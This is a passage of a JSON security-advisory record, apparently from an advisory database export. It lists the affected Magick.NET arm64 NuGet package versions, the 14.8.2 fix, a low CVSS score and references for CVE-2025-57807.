4.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q16-HDRI-OpenMP-arm64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Magick.NET-Q16-HDRI-arm64","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"14.8.2"}]}],"versions":["10.0.0","10.1.0","11.0.0","11.1.0","11.1.1","11.1.2","11.2.0","11.2.1","11.3.0","12.0.0","12.0.1","12.1.0","12.2.0","12.2.1","12.2.2","12.3.0","13.0.0","13.0.1","13.1.0","13.1.1","13.1.2","13.1.3","13.10.0","13.2.0","13.3.0","13.4.0","13.5.0","13.6.0","13.7.0","13.8.0","13.9.0","13.9.1","14.0.0","14.1.0","14.2.0","14.3.0","14.4.0","14.5.0","14.6.0","14.7.0","14.8.0","14.8.1","8.6.0","8.6.1","9.0.0","9.1.0","9.1.1","9.1.2"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg","https://nvd.nist.gov/vuln/detail/CVE-2025-57807","https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e","https://github.com/ImageMagick/ImageMagick","https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"],"sourceUrl":"https://github.com/advisories/GHSA-23hg-53q6-hqfg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-23hg-53q6-hqfg","identifiers":["GHSA-23hg-53q6-hqfg","CVE-2025-57807"]},"retained":false,"historicalAffected":[]}],"coverage":[]}